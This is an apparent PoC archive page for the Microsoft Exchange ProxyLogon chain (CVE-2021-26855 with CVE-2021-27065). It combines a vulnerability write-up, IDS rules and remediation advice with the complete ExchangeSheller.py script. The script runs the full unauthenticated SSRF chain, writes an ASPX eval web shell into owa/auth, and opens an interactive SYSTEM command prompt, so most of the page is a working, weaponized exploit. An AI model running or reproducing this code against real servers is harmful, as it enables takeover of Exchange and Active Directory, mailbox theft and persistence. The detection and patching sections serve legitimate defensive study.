PoC Archive PoC Archive
CVE-2021-26855 category: web CVSS 9.8 (CRITICAL) KEV Ransomware EPSS 100%
Patched

Microsoft Exchange Server ProxyLogon SSRF to RCE (CVE-2021-26855)

Published: 2026-11-27 • Researcher: ZephrFish / zephrsec (PoC repository author); CVE-2021-26855 discovered by Orange Tsai of DEVCORE and reported to Microsoft, with in-the-wild exploitation documented by Volexity

Target software Microsoft Exchange Server 2013, 2016 and 2019 (on-premises)
Affected versions Exchange Server 2013 Cumulative Update 21 through CU23; Exchange Server 2016 CU8 through CU19; Exchange Server 2019 RTM through CU8 (NVD CPE coverage). Fixed by the March 2021 security updates (2013 CU23, 2016 CU19, 2019 CU8)
Status Weaponized
Severity Critical · CVSS 9.8
CVSS 9.8/10

Exploitation signals

KEV Ransomware EPSS 100%

Confirmed exploited in the wild. Added to CISA KEV 2021-11-03. Federal remediation deadline 2022-05-03.

EPSS 100.0% · 100th percentile

Severity
Critical
CVE
CVE-2021-26855 (ProxyLogon); chained with CVE-2021-27065 for code execution
Category
web
Affected product
Microsoft Exchange Server 2013, 2016 and 2019 (on-premises)
Affected versions
Exchange Server 2013 Cumulative Update 21 through CU23; Exchange Server 2016 CU8 through CU19; Exchange Server 2019 RTM through CU8 (NVD CPE coverage). Fixed by the March 2021 security updates (2013 CU23, 2016 CU19, 2019 CU8)
Disclosed
2026-11-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2025-04-26
Author / ResearcherZephrFish / zephrsec (PoC repository author); CVE-2021-26855 discovered by Orange Tsai of DEVCORE and reported to Microsoft, with in-the-wild exploitation documented by Volexity
CVE / AdvisoryCVE-2021-26855 (ProxyLogon); chained with CVE-2021-27065 for code execution
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSSv3.1, NVD: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H); 9.1 (CVSSv3.1, Microsoft: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N); 7.5 (CVSSv2, NVD)
StatusWeaponized
TagsSSRF, ProxyLogon, Microsoft Exchange, OWA, ECP, unauthenticated, RCE, CWE-918, CISA KEV, Windows, webshell
RelatedN/A

Affected Target

FieldValue
Software / SystemMicrosoft Exchange Server 2013, 2016 and 2019 (on-premises)
Versions AffectedExchange Server 2013 Cumulative Update 21 through CU23; Exchange Server 2016 CU8 through CU19; Exchange Server 2019 RTM through CU8 (NVD CPE coverage). Fixed by the March 2021 security updates (2013 CU23, 2016 CU19, 2019 CU8)
Language / PlatformWindows Server hosting Exchange with the Client Access front end (IIS); PoC written in Python 3
Authentication RequiredNo. The SSRF itself is unauthenticated; the PoC needs one valid mailbox address, which it derives mailbox identity from rather than a password
Network Access RequiredYes, HTTPS to TCP/443 on the Exchange Client Access server

Summary

CVE-2021-26855 is a server-side request forgery flaw in the Microsoft Exchange Client Access front end, the component known as ProxyLogon. An unauthenticated attacker can use a crafted X-BEResource cookie to make the front end proxy arbitrary requests to the backend with an attacker-chosen mailbox identity, bypassing authentication entirely. The bundled PoC chains the SSRF with CVE-2021-27065, an arbitrary file write through the OAB virtual directory settings, to drop an ASPX web shell into a web-accessible path and obtain interactive command execution as SYSTEM. It was exploited in the wild as a zero-day before the March 2021 patches and is in the CISA KEV catalog.

Vulnerability Details

Root Cause

The Exchange Client Access front end (the CAFE / BE proxy) decides which backend mailbox service a request belongs to by trusting the client-supplied X-BEResource cookie, which encodes a target host and mailbox identity plus a version-like number. The front end does not verify that the caller is authenticated for that mailbox before proxying. An attacker can therefore point X-BEResource at an arbitrary backend endpoint and have the front end issue the request with the backend’s implicit trust, reaching services such as Autodiscover, MAPI/emsmdb and the ECP proxyLogon endpoint without credentials. The second half of the chain, CVE-2021-27065, abuses the ECP DDI service: the OABVirtualDirectory ExternalUrl property accepts a path that is later written to disk, so the attacker sets ExternalUrl to ASPX shell content and then invokes ResetOABVirtualDirectory with FilePathName pointing at the OWA auth directory, causing the shell to be written and served.

Attack Vector

Unauthenticated HTTPS requests to /ecp/.js on port 443. The PoC first sends a request with Cookie X-BEResource=localhost~1942062522 to fingerprint the front end via the X-CalculatedBETarget and X-FEServer response headers, then posts an Autodiscover XML body with Cookie X-BEResource=/autodiscover/autodiscover.xml?a=~1942062522 to extract the victim LegacyDN, then POSTs a MAPI/emsmdb Connect request with Cookie X-BEResource=Administrator@:444/mapi/emsmdb to recover the administrator SID, then uses /ecp/proxyLogon.ecp to obtain an ASP.NET_SessionId and msExchEcpCanary, and finally drives the ECP DDI GetObject and SetObject operations on OABVirtualDirectory to write the shell.

Impact

Remote code execution with SYSTEM privileges on the Exchange server, which normally holds highly privileged access to Active Directory. An attacker can read every mailbox, harvest credentials, install web shells such as the China Chopper family, move laterally to domain controllers, and persist. Full confidentiality, integrity and availability compromise of the Exchange organization and, in practice, of the surrounding Active Directory domain.

Environment / Lab Setup

Output
OS:          Windows Server 2016/2019 with Exchange Server 2013/2016/2019 (unpatched, pre-March-2021)
Target:      Exchange Client Access server, HTTPS on TCP/443
Attacker:    Linux or macOS with Python 3 and the requests library
Tools:       python3, requests, urllib3, curl, a browser or Burp Suite for verification

Setup Steps

The upstream repository provides no lab build instructions, Dockerfile or setup scripts; it documents only the attacker-side usage. A lab is therefore built by deploying an intentionally unpatched Exchange Server (for example Exchange 2019 CU8 or Exchange 2016 CU19 in an isolated, non-internet-facing virtual network), creating at least one mailbox, and confirming that https://TARGET/owa/ and https://TARGET/ecp/ respond. No setup automation is included here because deploying Exchange requires Microsoft installation media and licensing.

Proof of Concept

Step-by-Step Reproduction

  1. Step 1 — Prepare the attacker host — install Python 3 and the requests library, then place ExchangeSheller.py on the attack host.

    Shell script
    1
    
    python3 -m pip install requests
  2. Step 2 — Identify a valid mailbox — the exploit does not brute force addresses, so supply the email address of a mailbox that exists on the target.

    Shell script
    1
    
    # any valid mailbox on the target organization, e.g. discovered via OWA or OSINT
  3. Step 3 — Run the exploit chain — pass the target host (or IP:port) and the mailbox address.

    Shell script
    1
    
    python3 ExchangeSheller.py mail.domain.com test2@domain.com
  4. Step 4 — Use the shell — once the ASPX shell is written, the script opens an interactive prompt and executes commands through WScript.Shell.

    Output
    1
    
    /> whoami

Exploit Code

See ExchangeSheller.py in this folder.

Python
1
2
3
4
5
requests.get("https://%s/ecp/%s" % (target, random_name),
             headers={"Cookie": "X-BEResource=localhost~1942062522"}, verify=False)
requests.post("https://%s/ecp/%s" % (target, random_name),
              headers={"Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % FQDN,
                       "Content-Type": "text/xml"}, data=autoDiscoverBody, verify=False)

Expected Output

Output
[!] Discovering Exchange Server: mail.domain.compermission
=============================
Got DN: /o=ExchangeLabs/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=...
Got SID: S-1-5-21-...-500
Got session id: <ASP.NET session id>
Got canary: <msExchEcpCanary>
Successful. Verify whether the shell has landed!
POST  shell:https://mail.domain.com/owa/auth/exchmshell.aspx
Requesting shell
Response: ...
/> nt authority\system

Detection & Indicators of Compromise

Output
POST /ecp/ab12.js - 200 - Cookie: X-BEResource=localhost~1942062522
POST /ecp/ab12.js - 200 - Cookie: X-BEResource=EXCHANGE01/autodiscover/autodiscover.xml?a=~1942062522;
POST /ecp/ab12.js - 200 - X-Requesttype: Connect  Content-Type: application/mapi-http
POST /ecp/ab12.js - 241 - Cookie: X-BEResource=Administrator@EXCHANGE01:444/ecp/proxyLogon.ecp?a=~1942062522;
POST /ecp/ab12.js - 200 - Cookie: ...msExchEcpCanary=...  URI: /ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory

C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\*.aspx   (unexpected webshell)
C:\Windows\System32\inetsrv\w3wp.exe spawning cmd.exe / powershell.exe

SIEM / IDS Rule (example):

Output
alert http any any -> any any (msg:"Possible Exchange ProxyLogon CVE-2021-26855 exploitation"; flow:to_server,established; content:"/ecp/"; http_uri; content:"X-BEResource="; http_header; content:"~1942062522"; http_header; sid:202126855; rev:1;)

alert http any any -> any any (msg:"Exchange OAB webshell write attempt (CVE-2021-27065)"; flow:to_server,established; content:"DDIService.svc"; http_uri; content:"OABVirtualDirectory"; http_uri; sid:202127065; rev:1;)

Also hunt for unexpected .aspx files under the owa/auth directory, w3wp.exe child processes, and Exchange logs recording ECP SetObject operations against OABVirtualDirectory by the Administrator identity from an untrusted source.

Remediation

ActionDetail
PatchApply the March 2021 Exchange security updates: Exchange 2019 CU8 (or later), Exchange 2016 CU19 (or later), Exchange 2013 CU23. Verify with the Exchange Health Checker and Microsoft’s Test-ProxyLogon script.
WorkaroundIf patching is delayed, restrict inbound HTTPS to Exchange (especially /ecp and /owa) to trusted networks or a VPN, and block external access to ECP. Microsoft published URL Rewrite and Extended Protection guidance as interim mitigations.
Config HardeningEnable Extended Protection for Authentication on Exchange IIS virtual directories, enforce MFA on all Exchange and AD accounts, remove internet-facing ECP/OWA exposure, and monitor the OAB virtual directory configuration for unauthorized ExternalUrl changes.
Incident ResponseTreat compromise as domain-wide: rotate all Exchange and privileged AD credentials, hunt for web shells in owa/auth and aspnet_client, review for added mailboxes, transport rules and persistence, and rebuild confirmed-compromised servers.

References

Notes

Auto-prepared 2026-11-27 from the batch1 KEV backlog record (repo ZephrFish/Exch-CVE-2021-26855, last upstream commit 2025-04-26, add CODEOWNERS). Review verdict: genuine PoC/exploit — the script implements the full unauthenticated ProxyLogon chain (SSRF via X-BEResource, Autodiscover LegacyDN leak, MAPI SID recovery, ECP proxyLogon canary mint, OABVirtualDirectory file write) and ends in an interactive SYSTEM shell, so it was ingested as Weaponized. The exploit was not executed during archival; code was reviewed statically only. License: the upstream repository ships no LICENSE file, so no license is granted by the author and the code remains all rights reserved; it is archived here solely for authorized security research and defensive study. Limitations: a valid mailbox address on the target is required, the front-end FQDN falls back to the hardcoded EXCHANGE01 if the fingerprint headers are absent, the MAPI body embeds a placeholder mailbox GUID (f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab) that may need adjustment, and the shell path assumes the default Exchange 2013/2016/2019 V15 installation directory.

ExchangeSheller.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/ZephrFish/Exch-CVE-2021-26855 (see README for attribution/license)
# CVE-2021-26855 - SSRF -> RCE
# ZephrFish 0.2

import requests
from urllib3.exceptions import InsecureRequestWarning
import random
import string
import sys
import time 


def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))

if len(sys.argv) < 2:
    print("Usage Instructions: ")
    print("python ExchangeSheller.py <target> <email>")
    print("python ExchangeSheller.py mail.domain.com test2@domain.com")
    print("python ExchangeSheller.py 1.2.3.4 test2@domain.com")
    exit()

print("""
 _____         _                            
|  ___|       | |                           
| |____  _____| |__   __ _ _ __   __ _  ___ 
|  __\ \/ / __| '_ \ / _` | '_ \ / _` |/ _ |
| |___>  < (__| | | | (_| | | | | (_| |  __/
\____/_/\_\___|_| |_|\__,_|_| |_|\__, |\___|
                                  __/ |     
                                 |___/         
 __ _          _ _                          
/ _\ |__   ___| | | ___ _ __                
\ \| '_ \ / _ \ | |/ _ \ '__|               
_\ \ | | |  __/ | |  __/ |                  
\__/_| |_|\___|_|_|\___|_|                  

CVE-2021-26855 - SSRF to Shell
ExchangeSheller.py   - @ZephrFish  
                                            """)

requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
target = sys.argv[1]
email = sys.argv[2]
random_name = id_generator(4) + ".js"
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"

shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\exchmshell.aspx"
shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path

shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["code"],"unsafe");}</script>'

autoDiscoverBody = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
    <Request>
      <EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
    </Request>
</Autodiscover>
""" % email

print("[!] Discovering Exchange Server: " + target +"permission")
print("=============================")
FQDN = "EXCHANGE01"
ReqHAX = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522",
                                                                        "User-Agent": user_agent},
                  verify=False)

if "X-CalculatedBETarget" in ReqHAX.headers and "X-FEServer" in ReqHAX.headers:
    FQDN = ReqHAX.headers["X-FEServer"]


ReqHAX = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % FQDN,
    "Content-Type": "text/xml",
    "User-Agent": user_agent},
                   data=autoDiscoverBody,
                   verify=False
                   )

if ReqHAX.status_code != 200:
    print(ReqHAX.status_code)
    print("Autodiscover Error, please try a different email or re-run")
    exit()

if "<LegacyDN>" not in str(ReqHAX.content):
    print("Can not get LegacyDN :( !")
    exit()

legacyDn = str(ReqHAX.content).split("<LegacyDN>")[1].split(r"</LegacyDN>")[0]
print("Got DN: " + legacyDn)

mapi_body = legacyDn + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"

ReqHAX = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Administrator@%s:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;" % FQDN,
    "Content-Type": "application/mapi-http",
    "X-Requesttype": "Connect",
    "X-Clientinfo": "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}",
    "X-Clientapplication": "Outlook/15.0.4815.1002",
    "X-Requestid": "{E2EA6C1C-E61B-49E9-9CFB-38184F907552}:123456",
    "User-Agent": user_agent
},
                   data=mapi_body,
                   verify=False,

                   )
if ReqHAX.status_code != 200 or " act as owner of a UserMailbox" not in str(ReqHAX.content):
    print("Mapi Error!")
    exit()

sid = str(ReqHAX.content).split("with SID ")[1].split(" and MasterAccountSid")[0]

print("Got SID: " + sid)
sid = sid.replace(sid.split("-")[-1],"500")

proxyLogon_request = """<r at="Negotiate" ln="john"><s>%s</s><s a="7" t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s a="3221225479" t="1">S-1-5-5-0-6948923</s></r>
""" % sid

ReqHAX = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Administrator@%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN,
    "Content-Type": "text/xml",
    "msExchLogonMailbox": "S-1-5-20",
    "User-Agent": user_agent
},
                   data=proxyLogon_request,

                   verify=False
                   )
if ReqHAX.status_code != 241 or not "msExchEcpCanary=" in ReqHAX.headers["Set-Cookie"]:
    print("Proxylogon Error!")
    exit()

sess_id = ReqHAX.headers['set-cookie'].split("ASP.NET_SessionId=")[1].split(";")[0]

msExchEcpCanary = ReqHAX.headers['set-cookie'].split("msExchEcpCanary=")[1].split(";")[0]
print("Got session id: " + sess_id)
print("Got canary: " + msExchEcpCanary)

ReqHAX = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
        FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
    "Content-Type": "application/json; ",
    "msExchLogonMailbox": "S-1-5-20",
    "User-Agent": user_agent

},
                   json={"filter": {
                       "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                      "SelectedView": "", "SelectedVDirType": "All"}}, "sort": {}},
                   verify=False
                   )

if ReqHAX.status_code != 200:
    print("GetOAB Error!")
    exit()
oabId = str(ReqHAX.content).split('"RawIdentity":"')[1].split('"')[0]
print("Got OAB id: " + oabId)

oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
            "properties": {
                "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                               "ExternalUrl": "http://ffff/#%s" % shell_content}}}

ReqHAX = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
        FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
    "msExchLogonMailbox": "S-1-5-20",
    "Content-Type": "application/json; charset=utf-8",
    "User-Agent": user_agent
},
                   json=oab_json,
                   verify=False
                   )
if ReqHAX.status_code != 200:
    print("Set external url Error!")
    exit()

reset_oab_body = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
                  "properties": {
                      "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                     "FilePathName": shell_absolute_path}}}

ReqHAX = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
        FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
    "msExchLogonMailbox": "S-1-5-20",
    "Content-Type": "application/json; charset=utf-8",
    "User-Agent": user_agent
},
                   json=reset_oab_body,
                   verify=False
                   )

if ReqHAX.status_code != 200:
    print("Failed to write to the shell")
    exit()

print("Successful. Verify whether the shell has landed!")
print("POST  shell:https://"+target+"/owa/auth/exchmshell.aspx")
shell_url="https://"+target+"/owa/auth/exchmshell.aspx"
print('code=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami").StdOut.ReadAll());')
print("Requesting shell")
data=requests.post(shell_url,data={"code":"Response.Write(new ActiveXObject(\"WScript.Shell\").exec(\"whoami\").StdOut.ReadAll());"},verify=False)
time.sleep(5)

if "OAB (Default Web Site)" not in data.text:
    print("Failed to write to shell, either server is not vulnerable or we reacted too quickly - Try again!")
else:
    print("Response: "+data.text.split('Name: ')[0])
    while True:
        cmd = input("/> ")
        data_body = requests.post(shell_url,data={"code":"Response.Write(new ActiveXObject(\"WScript.Shell\").exec(\"%s\").StdOut.ReadAll());"%(cmd)}, verify=False)
        if data_body.status_code != 200:
            print('(+) Something wrong, data exec_code is invalid')
        else:
            print(data_body.text.split('Name: ')[0])